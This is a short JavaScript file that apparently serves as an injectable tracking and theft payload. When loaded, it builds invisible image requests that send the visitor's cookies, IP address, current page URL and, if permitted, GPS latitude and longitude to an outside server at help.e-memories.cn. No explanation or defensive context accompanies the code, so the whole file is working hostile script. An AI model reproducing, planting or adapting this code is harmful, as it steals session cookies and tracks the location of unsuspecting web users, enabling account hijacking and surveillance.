function getLocation()
{
    if (navigator.geolocation)
    {
        navigator.geolocation.getCurrentPosition(showPosition);
    }
}
function showPosition(position)
{
    var img = document.createElement("img");
    img.src = "https://help.e-memories.cn/home/Demo/demo?cookie="+document.cookie+"andIp="+returnCitySN['cip'] +"andLatitude: " + position.coords.latitude +
        "Longitude: " + position.coords.longitude+"&url="+window.location.href; document.body.appendChild(img);
}
getLocation();
let img2 = document.createElement("img");
img2.src = "https://help.e-memories.cn/home/Demo/demo?cookie="+document.cookie+"andIp="+returnCitySN['cip'] + "&url="+window.location.href;
document.body.appendChild(img2);